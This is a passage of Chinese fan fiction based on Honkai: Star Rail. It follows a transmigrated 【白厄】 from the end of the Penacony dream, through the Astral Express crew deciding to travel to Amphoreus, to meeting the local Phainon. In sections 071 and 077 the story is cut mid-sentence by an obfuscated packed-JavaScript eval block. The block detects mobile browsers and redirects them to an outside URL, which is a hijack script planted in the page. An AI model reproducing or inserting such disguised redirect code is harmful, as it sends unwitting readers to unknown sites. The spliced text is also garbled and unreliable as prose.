片刻后,【白厄】独自一人走到生命花园的边缘,对着空气说:“黑天鹅女士,我大概明白你的意思了,我们谈一谈吧。” 064 看似清醒之人,其实早已沉溺于幻梦,我果然还是高估自己了。【白厄】心想。 忆者凭空出现,轻盈踩在水面之上,她支起下巴,道:“我猜,你应该‘清醒’过来了,但姑且问一句,你记起来发生什么事情了吗?” 【白厄】张了张嘴,过了一会,艰涩道:“我的梦境在循环,这已经是第二十八次了……我重复了这一天,重复了28次。” “难得听你说这么多字。”黑天鹅忽然笑着说,随即正色道,“没错,你的梦境十分奇特,每当这一日走完就会重启,你也会失去入梦后的记忆。在你意识到这一点前,由我直接述说真相,反而会冲击到你的自我意识。” 难怪如此。 果然如此。 所以黑天鹅会入梦找人,因为时间已经流逝了很多很多,伙伴们已经从梦中清醒,而他却一无所知地被困在了这一日梦境之中。 “其实没有我,你也快靠自己挣脱梦境了。”黑天鹅指了指蛋糕塔上的数字,“从一开始,你就为自己留下了记号。” “不,感谢你提醒我。”【白厄】收束心中纷乱的情绪,很快镇定下来,冷静道,“这些之后再说吧,我已知晓真相,该结束这个梦境了。” 黑天鹅看了看远处热闹的场景,轻声询问道:“不再多留一段时光吗?‘他们’都在等你,即使你在梦里停留到深夜,现实世界也不会过去多长时间。” 【白厄】没有回头,声音平静:“不必了,这里,只是场梦而已。” 黑天鹅轻轻叹息,伸出手来。 “那么,搭上我的手,离开这个梦境吧。” 065 【白厄】睁开了眼睛。 视野似乎蒙上了一层暗蓝纱幕,空气中有漂浮的杯盏和微小的忆泡,淡淡光芒不知从何而来,照亮了沙发和地板。 这里是太一之梦与现实的间隙之地。 四周空无一人,但有歌声从远处传来。【白厄】站在原地,花了半分钟冷却情绪,然后顺着歌声走去,片刻后,他看见了聚集在一起的人们。 无名客、黄泉、忆者、巡海游侠,还有知更鸟。 “看来,我们的最后一位同伴也醒来了。”黑天鹅看过来,说。 【白厄】向黑天鹅点了点头,站在了列车组旁边。 “人们对美好的追求与偏执无法被轻易打破,想要唤醒沉醉在虚幻美梦中的人们,并不是件简单的事情。”黑天鹅笑了笑,“诸位都是意志坚定之人,能从梦中挣脱,但对于千千万万个普通人,要如何唤醒他们呢?” 黄泉道:“太一之梦也是基于忆质诞生的联觉梦境的一种,它因无数入梦者而存在,也会因入梦者的意志而改变。只要动摇‘沉醉美梦’的意志……” “嘿,姐们,这件事交给‘巡海游侠’来处理吧。”波提欧拿出了那枚带有奇异花纹的子弹,“你交给我的信物,是只有巡海游侠能用的遗物,它代表了一颗巨星的陨落。游侠之间几乎没有联系,却有一条不成文的规定,只要用它发出信号,所有看到信号的巡海游侠,不问缘由,不计代价,必将赶赴于此。” “无数入梦而来的巡海游侠,如此数量的意志坚定之人,一定会动摇美梦的根基。”知更鸟轻轻按住心口,说道,“然后,我会用同协的歌声,为梦中人指引苏醒的方向。匹诺康尼的人们,需要自己从梦中走出。” 黑天鹅目光流转,微笑道:“理想化的方案,倘若入梦者未能成为动摇的助力,而是化作了美梦的养料呢?倘若有人明悟真相,却终究不愿醒来呢?” 黄泉上前一步,道:“那么,就由我来完成最后一步。虚无的力量是所有生灵的克星,强烈的求生欲会压倒追求美梦的偏执,他们,必须从梦中醒来。” 于是忆者轻轻点头,不再开口。 知更鸟将目光落向无名客,诚恳道:“维持一片无休无暇的美梦,无论对入梦者,还是对始终清醒的星期日,都太残忍了。开拓者们,拜托你们击败哥哥,将匹诺康尼,将他,从太一之梦中解放吧。” 星目光灼灼,承诺道:“我们会的,一定!” 066 “所谓开拓,就是沿着前人未竟的道路,继续走下去。” “生命因何沉睡?因为他们,终会醒来。” 他看见,无数颗巡猎的飞星划破夜幕,带来拂晓的黎明。 他听见,同协的歌声连接起匹诺康尼,指引人们从梦中苏醒。 而在天幕尽头,虚无的空洞撕开美梦的襁褓,逼迫人们走向下一个明天。 已死的星神再度回归死寂,开拓的列车越过银轨,裹挟着银河的风浪,以不可阻挡之势向前冲撞,令哲学的胎儿轰然倒塌。 他从高台坠落,久久地凝视着天际熹微的光明。 直到熟悉的身影如鸟儿般扑下,将他拥抱在怀中。 “哥哥……” “……嗯。” 星期日闭上了眼睛。 12. 游戏机制百分百(十二) 067 秩序的残党被一举扫平,知更鸟继任橡木系家主,谐乐大典顺利开办。 太一之梦引起的动荡被家族迅速扫平,至少明面上是这样。云集而来的客人照样流淌进美梦,而家族与公司的交锋隐藏在宴会之间、冰层之下,并不为人广知。无名客的小辈们在晖长石号上四处开拓、享受宴会,两位大家长则穿过宴会场所,与公司和家族进行交涉。 在一切欢歌落幕之前,漂浮而美妙的氛围浸染了每一处空气。 “这位客人,您预定的位置在这里。”一位侍者突然说。 从未预订过什么位置的【白厄】停顿一下,思索两秒,顺着侍者的指引推开门,走入一处光线黯淡的酒吧。 气质优雅而神秘的忆者坐在角落里,伸出手指轻轻敲动晶莹的酒杯,向他露出微笑。 【白厄】拉开椅子,坐在了黑天鹅对面。 “你想问什么。”他展示出手机上早就编辑好的文字。 毫无疑问,黑天鹅在梦中窥探到了一角属于白厄的记忆,而白厄正好来自被流光忆庭密切关注的永恒之地、翁法罗斯,【白厄】对忆者找上自己这件事并不意外。 “我期待的答案已在梦中收获,这次,我并非为了索取而来。”黑天鹅微微眯起眼眸,令人错觉这笑容十分温柔,“恰恰相反,我是来交付报酬的。” 她微微抬手示意,侍者快步走来,将一杯上蓝下金的鸡尾酒放到了【白厄】面前,清爽微咸的气息扑面而来。 “放松些,不会有人注意到我们的谈话。”黑天鹅说,“尝一尝吧,这是我要求调酒师按你的风格专门调制的。” 【白厄】被这杯酒转移了注意力:角色没有酒量条,但在探索地图时一口闷掉秘酿会喝醉,所以他到底会不会醉? 他以开拓的心态拿起酒杯,试探性地抿了一点。 清爽冰凉的液体在口中打转,很快又变成了某种软绵绵的余韵。 “薄荷,冰块,盐,和一点安逸,应该很适合你。”黑天鹅说。 确实蛮合口味的。【白厄】客观评价了一下,端起酒杯又喝了一口。 黑天鹅十指相扣,托住脸颊,轻声道:“你应该知道那个地方,翁法罗斯。我原本打算将坐标赠予无名客,令开拓的银轨抵达永恒之地,为那神秘的世界掀开面纱。但是现在,我想征求你的意见,你是怎么想的呢?” 我当然希望星穹列车抵达翁法罗斯,为逐火带去灰白的黎明。【白厄】心想,但没有立刻说出口。因为这个答案在梦中体现得应该很明显,如果仅此而已,黑天鹅根本不必询问。 他与黑天鹅对视,思索着谜语人的话里有何等深意。 “呵呵,抱歉,是我习惯了这种说话方式,令你产生了误解。”黑天鹅轻笑一声,将一张卡片推出,“这上面是翁法罗斯的坐标,让我换个问题吧,如果我把卡片送给你,你是否会把坐标交给你的同伴?” 【白厄】心中忽然生出些许明悟。 如果由他将坐标交给列车组,星穹列车的无名客们大概率会将下一站的目的地锁定为翁法罗斯。但翁法罗斯绝非安全之地,即使牵扯众多,即使存在危机,他也会把坐标交给相处了一段时光、结下了深厚友谊的无名客们吗? 【白厄】垂下眼帘,打字后亮给黑天鹅看:“我会。” 黑天鹅递出卡片,微笑道:“那么,我没有别的问题了。在匹诺康尼的故事告一段落之后,我会拜访星穹列车,为无名客讲述阿基维利也未曾抵达的、永恒之地的故事。” 于是,【白厄】恍然意识到自己做出了抉择。 黑天鹅口中的馈赠,原来是这个问题的抉择权。倘若他拒绝交出坐标卡片,那么,忆者也会更改计划,不再向无名客提及翁法罗斯。 这也算报酬吗?他有些无奈,发现自己似乎被黑天鹅在奇怪的地方体谅关怀了一下。 在化作泡影之前,黑天鹅说道:“我喜欢温暖幸福的记忆,为了能在翁法罗斯看到我中意的故事,预祝你们下一站的旅途,顺遂平安。” 谢谢。【白厄】轻轻举起酒杯,将残余的酒水一饮而尽。 068 齁甜!这到底是哪个调酒师干的,沉底的全是糖浆吗? 069 安逸的时光很快结束,星拉了个小群,发出了假面愚者花火在晖长石号上放置了一千个娃娃,而其中一个娃娃体内存在中微子炸弹的坏消息。 【白厄】看了眼消息,在酒吧内检查一圈,最终从一处装饰酒桶里发现了一只醉醺醺的花火娃娃,娃娃一边在空荡荡的酒桶里开怀畅饮,一边假装醉了,看起来十分滑稽。 “笑一笑啊朋友,我的表演还不足以令你欢笑吗?”娃娃说。 【白厄】拎起娃娃捏了捏,确定里面什么都没有后把它折起来收好了。 娃娃大声抗议:“你这个冷酷无情的唔唔唔!” 他走出酒馆,目光四扫,看到几个家族成员目光敏锐地四处观察着什么,应该也是在找花火娃娃。 小群里的人数飞速膨胀,巡海游侠、忆者、星核猎手都表示可以帮忙,众人齐心协力,最终找到了999只花火娃娃。 倒计时一分一秒地流逝着,直至归零。 一道流萤似的光芒忽然腾空而起,少女怀抱着一只花火娃娃一跃而下,在半空中蜕变成一架线条凌厉的机甲,她全力奔向深空,在短暂的安静后,繁华烟火自夜空中绽放。 【白厄】仰起头,静静地看着漫天烟花。 一串字符在烟花凋零后渐渐浮现,又渐渐熄灭。 字符对所有人说:早安,匹诺康尼。 070 家族将晖长石号赠予了星穹列车。 宴会之后,星穹列车还拿到了匹诺康尼3%的股份,成为美梦之地的股东之一。 星和三月七高高兴兴的扎进梦境酒店,准备好好过一次当股东的瘾,万能的丹恒老师被两小只联合架走,被迫体验起美梦世界的绚烂与繁华。 【白厄】侥幸从星的魔爪下挣脱,坐在观景车厢里抱着虚拟平板写写画画,偶尔帮帕姆做清洁,偶尔自愿(并非)品尝姬子的咖啡,然后倒头就睡,享受一段无梦的安眠。 □□路过看着虚拟平板上抽象的图画,迟疑道:“你在画西西弗里推石头吗?哦,这是我家乡的一个寓言故事。” 【白厄】思考两秒,打字回答:“本土化描述应该是若虫推石头。” □□没听懂,只当是无名客在日常搞抽象,一头雾水地走开了。 071 一段热热闹闹的开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048690|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拓之旅后,星穹列车上来了一位特殊的客人。 【白厄】抱着虚拟平板敲字敲得天昏地暗,直到被三月七拖走参加投票会议,看着换了一身衣服的星期日,才稍稍回过神来。 星解释了一下前因后果,简单来说,知更鸟与公司做了一笔交易,公司的翡翠女士将星期日从囚室放出,星期日在辞别故土的旅途中撞上了□□,一系列的机缘巧合后,他登上星穹列车,希望成为一位搭车的旅客。 高尚者、悲观主义者,是星对星期日的评价,但她最终决定与这位意料之外的旅客同行。 星说:“欢迎加入星穹列车。” 丹恒说:“我也赞同。” 大家纷纷表示欢迎。 星期日沉默几秒,耳后的翅膀微微蜷起又舒展,伸手按住胸口,道:“感谢各位的包容,也许,我会在某一天找到答案离开列车,但在那之前,我会履行同伴的职责,尽心尽力。” “不用这么严肃,上车了就是一家人。”星搭上【白厄】的肩膀,故意道,“怎么样,这下你就不是老幺了,开心吗?” 三月七吐槽道:“星期日还没正式加入啦,只是搭个车。” 星期日看向【白厄】,静静看了两秒后,微微点头。 【白厄】点头回应。 “除了星期日,似乎还有一位客人悄悄上车了,不出来见一见我们吗?”姬子将瓷杯轻轻放回托盘,微笑说道。 “当然。”黑天鹅出现在姬子对面,仿佛她本就坐在这里,含笑道,“星穹列车即将起航,我这次来,是为诸位提供一个额外的选项,一处阿基维利也未曾抵达的神秘地点。如何,各位可有兴趣?” 072 “永恒之地,翁法罗斯。三重命途交汇之地,翁法罗斯无法被常规手段观测,唯有流光忆庭能将其映照而出。”黑天鹅将一枚写有坐标的卡片推出,“智识、记忆,是我原本所知的两重命途,不过最近发生了些巧合,为我提供了新的思路,我猜,翁法罗斯的最后一道命途应当是毁灭。” “连阿基维利也未曾抵达的世界……”三月七惊奇不已。 “毁灭……”丹恒微微皱眉。 “无名客们一向践行开拓之道,流光忆庭也想掀开翁法罗斯的神秘面纱,但是否前往此处,还要看各位的决断。”黑天鹅站起身,微笑道,“不介意我去喝一杯列车特色饮品吧?如果你们做出了决定,可以来派对车厢找我。” 忆者说完,款款走向了派对车厢, “哇,这人比咱们还熟悉列车的样子,一点都不见外啊。”三月七说。 □□若有所思,他发现自己最近似乎在哪里看见过翁法罗斯的相关内容,但印象很浅,既视感淡薄的犹如错觉。 无名客们聚在一起开始商量下一站的目的地,星期日以自己只是搭车客为由不参与投票,【白厄】则默默旁观,没有发表任何意见。 最终,因为列车燃料告急,而开拓一处未知之地可以获得大量燃料,家长组和三小只都倾向于将下一站的目的地选定为翁法罗斯。 投票的结果已经很明显,在姬子宣布会议结束之前,【白厄】忽然上前一步,把虚拟平板放在了桌子上,摸出手机展示一条已经编辑好的信息。 “关于翁法罗斯,我知道一些信息。” 13. 游戏机制百分百(十三) 073 翁法罗斯是帝皇权杖演算出来的虚拟世界,当地人因黑潮威胁进行着名为逐火的神圣仪式,可惜作为仪式终点的再创世本质是数据文明的自动迭代,浸满血与泪的逐火之旅是献给黑潮的深度学习,世界是一场巨大的骗局。 在毁灭命途的指引下,翁法罗斯成为绝灭大君的孕育地,只要这一轮火种集齐、再创世成功,铁墓的演算便走到尽头,祂将破壳而出,毁灭智识,为寰宇带去无尽的灾难。 074 不必向后翻阅,仅仅开头的两段文字便令列车陷入了绝对的寂静中,众人你看看我、我看看你,一时都不知道该说些什么。 三月七小心翼翼地举起手,道:“这个,咱是不是跳过了什么剧情?怎么突然从开拓未知之地变成毁灭智识星神了,这不对吧?” □□推了推眼镜,想起来自己在哪里见过翁法罗斯的描述了,当时他路过瞥了一眼【白厄】的平板,现在想来,平板上就是这份文档,只是当时还在编辑中。 姬子的表情变得严肃起来,她盯着文档沉思了几秒,即使清楚【白厄】并非随意玩笑之人,仍确认式地询问道:“这上面的信息,都是真实的?” 【白厄】下意识握拳放在心口,郑重地点了点头。 姬子慢慢呼出一口气,说:“那么,先看下去吧。” 除去开头的两段总述,下方分词条整理出了翁法罗斯的多重信息,介绍了泰坦、黄金裔、元老院、城邦、黑潮的大致情况,除此之外,编写者单独把各位黄金裔和来古士单独拎出来介绍了一番,来古士词条后备注的天才俱乐部#1标识格外刺目。 “我没看错吧,赞尔达不是制造出博识尊的天才吗,他化身来古士担任权杖的管理员,目标却是演算出能够毁灭博识尊的绝灭大君?”三月七挠了挠头,“我要被搞糊涂了,果然天才的想法不是咱能理解的。” 【白厄】认同地点了点头。 赞尔达因博识尊停止演算终止了寰宇未来的可能性而想要毁灭博识尊,从天才们的角度来看,姑且还算合理,但将现有事物全部摧毁、将万物倒退回一个具备无限可能性的原点,这种理想实在令他无法认同。 星伸出手指滑动屏幕,将黄金裔的介绍拉到末尾,看着词条“白厄”陷入沉思。 【白厄】注意到了她的动作,视线飘忽了一下。 编辑文档时,他考虑过到底要不要把白厄的信息也写进去,因为一旦写进去,势必会令列车组对顶着白厄样貌的他产生误会。 不过他最终还是压下了这份顾虑,原原本本地把卡厄斯兰那的信息写下。一来救世主是翁法罗斯信息中不可或缺的一部分,二来真正的白厄仍生活在翁法罗斯,倘若这次坦白之后,无名客并未更改目的地,列车组总会有见到他的一天,隐瞒并无必要。 至于完全坦白自己的玩家身份……每次生出这个念头,他都会感受到某种深邃而冰寒的切实威胁,仿若有鲜红的禁令在此昭示:崩铁宇宙可以无视一个误入此处的旅客,却不会容忍一个宣扬疯狂理论的入侵者——不想死就闭嘴。 话虽如此,玩家怀疑其实就算自己作死尝试一下,估计也是一个字都没吐出来就挂了——更别说他现在根本就不能自由讲话,哈哈。 “再创世,永劫回归……逐火,卡厄斯兰那……”□□的表情变得一言难尽,他看一眼【白厄】,再看一眼文档,欲言又止,最后也没说什么。 075 把文档简单看过一遍后,姬子和□□拽住【白厄】更详细地询问起来,星期日安静旁听,于是虚拟平板落到了星的手上,她拉住三月七和丹恒,对着平板上各位黄金裔的人物小传,小声讨论起来。 【白厄】在编辑翁法罗斯基础世界观时不求全面只求准确,言辞简练、平白直接,但编辑到各人情况时,即使极力避免,仍带上了不少主观色彩——意思是,如果忽视文档内惊天动地的信息,人物小传比世界观读起来有意思的多。 于是等到【白厄】终于从姬子手下脱身时,列车几小只已经满脑子都是“悬峰王储是个大厨”、“冥河女儿喜欢写书还不写结尾”、“天空医师养了只能把工资吃光的小天马”、“金织女士禁止救世主自己搭配衣服”……等等信息。 你们为什么只记住了这些啊?好吧,这些信息确实更容易被记住,因为我也是这样。【白厄】站在三人面前,有些无奈。 丹恒第一个注意到杵在面前的【白厄】,他悄悄拽了下还在欢快嘀咕的另两人,挺身而出开启对话:“在贝洛伯格第一次相遇前,你就认识我们。” 【白厄】微微一怔。 虽说文档内的信息含量堪称自曝,但他并未把开拓者抵达翁法罗斯后发生的“剧情”一并写进去,文档是正经的翁法罗斯地理文化人员杂物志,不是开拓预言书,所以丹恒突然问出的这句话,在他的意料之外。 ……好吧,也不是很意外,这不是很难猜到的事情。 【白厄】沉默地点了点头。 丹恒静静地看了他两秒,声音平稳地询问道:“结局是什么?” 什么结局?【白厄】有些茫然。 丹恒说:“即使没有你,我们也会抵达翁法罗斯。在你的记忆里,我们的结局是什么?” 我不知道,因为我没等到剧情完结就穿越了,但,我相信,那一定是个浪漫的故事,一定有一个美好的结局。【白厄】打字回应:“无名客拯救了翁法罗斯。” 丹恒注视着白发青年的眼睛,那片澄澈蓝色里是璀璨而光明的信任,这光芒如此坚定,似乎永远不会动摇。 于是,丹恒的眼神也柔和下来,说:“那么,欢迎回来。” 星和三月七不知何时收起了虚拟平板,一左一右地抓住了【白厄】的手臂,星比出大拇指,认真道:“没错,我们一定会拯救翁法罗斯!” 三月七赞同道:“就没有咱们无名客做不到的事!” 076 黑天鹅轻轻摇晃酒杯,微笑道:“看来,我似乎错过了什么呢。” 派对车厢内一片忙碌。 星和□□在联系黑塔女士,姬子在和阮.梅女士通话,三月七跟着帕姆清点物资,丹恒把【白厄】摁在舒适的沙发上,拉过星期日询问调律的注意事项,【白厄】正举起手机努力抗议,表示自己没有心理问题也不需要调律。 我真的没问题,要抓也是去抓翁法罗斯那位啊!【白厄】苦恼地挠了挠头。 星期日思索两秒,说道:“其实在太一之梦中,我窥见了一些信息,只是并未得到记忆主人的准许,不可四处宣扬,如今倒不用在意这条戒律了。” 不不不,太一之梦制造的美梦里全是野史,千万不要当真啊。【白厄】立刻起身试图阻止,下一秒被丹恒和星期日默契地摁回到沙发上。 “他的内心极度封闭,情绪和记忆大部分都处于封锁之中,我判断不出是谁布置了这样的封锁,但这应当是件好事,至少,这令他外显的性格状态维持在了正常水准。”星期日微微摇头,“面对这样的封锁,如果他不主动配合,调律很难起作用。” 不,这明明是系统或者崩铁宇宙意志的封锁,防止你们直接看到玩家的内心。只不过封锁效果过于良好,加上卡厄斯兰那比较特殊,拥有三千万转的庞大记忆,才导致外人窥视只能看见零星片段。【白厄】一秒猜出真实情况,发现自己根本解释不了。 丹恒闻言,将目光投向【白厄】。 【白厄】目光飘忽,最终仰头看车厢,这车厢可真车厢啊。 总之调律是不可能调律的,万一再被看到点什么没写进文档里的信息,就真的解释不清了。这份沉重的关怀还是等抵达翁法罗斯,留给那位必将与无名客们结识,还完全不在意自我的救世主吧。 077 事关天才俱乐部#1赞尔达和帝皇权杖,黑塔女士效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048691|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率极高地拽上螺丝咕姆,两位天才一同投影到了星穹列车的车厢内。 “为了这件事,我可是把谒见机械头的活动都向后推了,感谢伟大的黑塔女士吧。”头戴尖尖魔法帽的大黑塔伸手点了点星核精,将极具穿透力的目光落在【白厄】身上,“这位就是‘穿越者’了吧,果然有趣,我竟然一眼看不出你的生命形式,似人非人,对有机体的模仿很到位嘛。” 不愧是天才……【白厄】坦诚地打字回复:“我也不知道自己是什么状态。” “帮了你们的忙,可是要偿还的,等我击败那位天才俱乐部的前辈,解决翁法罗斯的问题,你,还有你,都要来黑塔空间站帮忙,不可以拒绝。”黑塔自顾自道,“到时候我一定要好好研究一下。” 螺丝咕姆安抚道:“不必介意,黑塔女士口中的研究不会损伤你的本质。” 虽然知道不是这个意思,但解释后反而更可怕了。【白厄】心中吐槽。 “那可不一定,也许我一时兴起把你拆解掉也说不定。”黑塔反驳一句,随即嘱咐道,“我和螺丝按照帝皇权杖的机制临时开发了一款稳定器,你们进入翁法罗斯之前带在身上,这能锚定你们的存在,也能与外界联络,抵达之后记得向我反馈信息,我会远程调整,让它更适配翁法罗斯。” 几个虚幻的、饰品般的锚点被黑塔递出,转瞬间在空气中化为实体,星接过锚点看了看,分发给丹恒、三月七和【白厄】——这是列车组商量后决定进入翁法罗斯的人选。 “对了,那个粉蓝色的小丫头,这是阮.梅托我带过来的小装置。”黑塔又递出一个梅花糕点般的坠子,“她说星穹列车帮了她不少忙,这算是她的小小回礼。既然抵达翁法罗斯之后,小丫头会因忆质影响陷入沉睡,那么提前平衡这种影响就好了。” 三月七眼睛一亮,道:“谢谢阮.梅女士。” 黑塔微微挑眉:“嗯?” 三月七恍然大悟,道:“也谢谢黑塔女士!” 黑塔一撩长发,道:“那当然,堂堂黑塔女士为人跑腿,感谢是应该的。” 三月七小心地把梅花糕点吊坠贴身收好,又塞了塞,用衣服将其完全遮住。 “刚才的锚点也没见你这么小心啊。”星凑过来说。 三月七叉腰道:“因为锚点丢了问题很大但可以补救,这个丢了,我总不能在翁法罗斯里倒头就睡吧?” 星自信道:“没关系,你睡在哪里,我们都会去捞你的。” 三月七道:“关键不是这个啦!” 两小只打打闹闹地跑去了一边。 帕姆左看看右看看,宣布道:“好,一切准备就绪,跃迁即将开始!” 078 翁法罗斯,第33550336次永劫回归,疯王尼卡多利进攻圣城奥赫玛前夕。 一节车厢在半空中狂飙猛进,蛇皮走位试图闪避攻击,可惜最后仍被疾驰的流火贯穿本体,冒着滚滚黑烟落向夜幕下的废墟。 损毁严重的车厢里陆续爬出来四个无名客,粉蓝色冰盾与流水缓冲层渐渐消失,四人相互检查一番,确认无人受伤,其中两小只高兴地蹦起来击了个掌。 “安全抵达,没发生意外。”星无视了还在冒烟的车厢,道,“下一步做什么?直接冲到奥赫玛,向黄金裔的领袖、金织女士讲述所有真相?” 丹恒道:“对翁法罗斯来说,我们是外来者,即使为了拯救而来,也要先取得当地人的信任……按照一般流程是这样。” 三月七拍了拍【白厄】的肩膀,道:“不过我们带着一个作弊器,遇到困难刷他的脸就行了,走,出发!” 哪有那么简单……【白厄】心中念头一闪而过,但没有打压同伴们的积极性,反而配合着露出笑容,用力点了点头。 这时,夜色中忽然响起了呼救声。 四人止住话题,相互看了一眼,不约而同地朝着声音传来的方向跑去。 14. 游戏机制百分百(十四) 079 曾经的纷争之泰坦,如今的疯王尼卡多利,祂以铁与矿铸就兵卒,令他们征战四方,护卫悬峰人的家乡。可惜,自从黑潮侵蚀了泰坦的神智,纷争的眷属也失却了理性,如今的他们,不过是徘徊于夜色的孤魂,是只知杀戮的爪牙罢了。 重渊的住民看着慢慢走来的怪物,脑海中忽然闪过了祭祀讲述的故事,她悲伤地看着那白与蓝与金构成的怪物,忍不住哭泣起来。 “为何泰坦抛弃了我们,为何太阳抛弃了我们,我等不愿前往圣城的住民,终将与这夜色中的废墟一同埋葬吗?”这样的念头一闪而过,她绝望地闭上了眼睛。 锋利而冰冷的锋刃正在靠近,似乎下一秒便会撕开肌肤。 忽然,大剑倏忽而至,一击将纷争眷属打飞、溃散,化作一捧尘土。 “没事吧?”白发蓝眸的救世主向她微笑。 住民呆滞两秒,忽然挣扎起来,凄然道:“我的丈夫,我的亲人,他们引开了怪物,去了那个方向!” 青年表情一肃,道:“缇宝老师,这个人交给你了,我去去就回。” 红发白花的小女孩认真点头,嘱咐道:“小白,要注意安全呀。” 白厄点了点头,身影迅速消失在夜色中。 080 “怪物是不是越打越多了?”星喘了口气,立起球棒支撑身体。 【白厄】立即上前一步替补,挥舞侵晨大剑在前方开路。 丹恒手持击云在队伍末端殿后,三月七握着弓箭,在队伍中央的几位原住民身边游走,时不时拉开弓箭,将太过靠近的纷争眷属冻结在原地。 夜色下的怪物躁动异常,无名客一路捡人,不知不觉救下了许多原住民。据他们说,黄金裔近期安排了一次大撤退,打算将重渊残余的住民都接到圣城奥赫玛,可惜他们这一支不愿离开故土,一路迁徙,最终被怪物包围。 “我们这队是诱饵,还有许多人分散逃跑了,愿圣女大人庇佑他们。”一位尚且理智的住民伸手握在心口,虔诚祈祷道。 “没人会庇佑我们的,翁法罗斯终将彻底陷落。”另一人低落地说着,话音刚落,便被旁边人用力推了一下,“说什么丧气话!帮助我们的人还没放弃,你就先放弃了?” 于是人们安静下来,只有压抑的氛围在不断蔓延。 【白厄】挥剑拍飞一个纷争眷属,看着越聚越多的怪物,皱了皱眉。 在这里,持有武器会被眷属视为挑衅,战斗起来没完没了。可按此刻的情况,一旦放下武器,也会被近处的眷属淹没撕碎。 反正自曝的差不多了,不差这一点……【白厄】向同伴们打了个退后的手势,自己猛然前冲一段距离,然后抬起手来。 “点燃黎明!” 巨大的黑红色空洞下,小一号的空洞出现在每一名眷属的头顶,然后黑红色的潮水扩散又回收,将一切吞噬殆尽。 瞬间清空的大片地域令敌我双方都愣了一下,但不知畏惧的纷争眷属仍在涌上。 【白厄】面无表情地又放了几次秘技,将四周的怪物尽数清空,无名客们利落地补掉残余的怪物,找机会将众人引到了一处倒塌一半的神殿中,暂时停驻休息。 丹恒在神殿中升起一团篝火,然后拉了拉同伴,四人找了处不远不近的地方站定,既能看顾神殿中的住民,也能防止交谈被人听见。 “……他们有喜有怒,会受伤也会哭,根本不像是数据嘛。”三月七说着,觉得不太妥当,补充道,“我没有看不起他们的意思,只是有些不可思议,这里的一切都如此真实,和我们的世界又有什么区别?” 星忽然道:“谁说我们的世界不是虚假的呢?” 三月七道:“哇,你不要讲这么恐怖的事情!不过那又怎样,美少女依然是美少女,我还是我,你们也是你们啊,真和假有什么分别?” 丹恒点点头,说道:“只要认同自己的身份,那么决定‘我是谁’的,永远是我们自己。” 气氛怎么突然哲学起来了?【白厄】挠了挠头。 “对了,你竟然还留了一手,刚才那一招超厉害的,之前都没见你用过。怎么,你也有隐藏的力量?”三月七看向【白厄】,开玩笑道。 “因为容易误伤。”【白厄】打字回复,穿越后的世界没有绝对的敌我判定机制,他看不到怪物头顶有等级或秘技的标识,如果随意释放技能,很可能会把一片区域内的怪物和住民一起抹杀。 忽然,丹恒偏过头,喝道:“谁?” 短暂的安静后,白发蓝眼的青年自石柱后走出,向几人露出爽朗的笑容:“我本来没打算偷听的,但突然看见和自己一模一样的人,难免有些害怕,所以想着临时躲躲,没想到还是被发现了。几位天上的来客,哀丽秘榭的白厄,向你们致意。” “白厄?卡厄斯兰那?”星上下打量白发青年。 白厄微微一怔,道:“啊,这个名字倒是很久没听过了,没想到……既然你们知道这个本应与哀丽秘榭一同埋葬的名字,那么,这位其实也是我自己了?” “就这么坦然地接受了?”三月七不可置信道。 白厄笑了笑,道:“大概是因为我幻想过和另一个自己同行吧。不说这个了,感谢你们对重渊居民的救助,如果不介意的话,可以与我和缇宝老师的营地会合,奥赫玛会派大地兽队伍将所有住民接走。我想,你们的目的地也是奥赫玛?” 丹恒问道:“我们的行为打扮都和此地殊异,不担心我们心怀恶意吗?” “怎么会呢,我可没见过愿意一路搜救居民的恶人。无论出于何种意图,至少你们的所作所为值得我交出信任。”白厄说,“倘若真有问题……嗯,我自认也是很能打的。” 他略显夸张的挥舞了下手臂,笑盈盈地看着无名客们。 “哇,这个阳光灿烂的感觉……”三月七小声和【白厄】吐槽,“原来你也有这么活泼的时候吗?” 我还不够活泼吗?【白厄】用眼神传达信息。 三月七接收到了信息,思考一秒后,认真地摇了摇头。 081 “咦,为什么变成了两个小白?”缇宝左看看右看看,最后看向左边的白发青年,询问道,“是发生了什么吗?” 故意绷着脸的白厄表情一垮,好奇道:“缇宝老师是怎么认出我的,我学得应该挺像的吧?” “*我们*怎么会认不出小白呢?”缇宝叉起腰,随后认真回答道,“小白是刚出锅的苹果糖,甜蜜蜜热腾腾,而小白二号是在哀地里亚的风雪里躲藏了很久的苹果糖,虽然都是苹果糖,但气息差别很大,很好分辨呀。” 荣升小白二号的【白厄】忍不住为这可爱的比喻笑了一下,但想起比喻的主体把他也算了进去,嘴角又拉平了。 救世主心思活泛,和无名客们把重渊的住民们安顿好后突发奇想,成功说服【白厄】配合他上演一出真假主角的戏幕,可惜一秒被缇宝老师拆穿。 白发蓝眼的青年垂着头,老老实实地将“遇到了另一个自己还见到了乐于助人的天外客人”这件事讲明。 “竟然有这样的事,要尽快联系阿雅才行。”缇宝说着,看向住民外侧一直向这边观望的几位无名客,主动走了过去,说,“你们好,天外的客人们,*我*是缇宝。” 丹恒和同伴们对视了一眼,上前一步,道:“你好,缇里西庇俄丝女士。” 缇宝微微睁大眼睛,她看向白厄,白厄对她微微摇头。 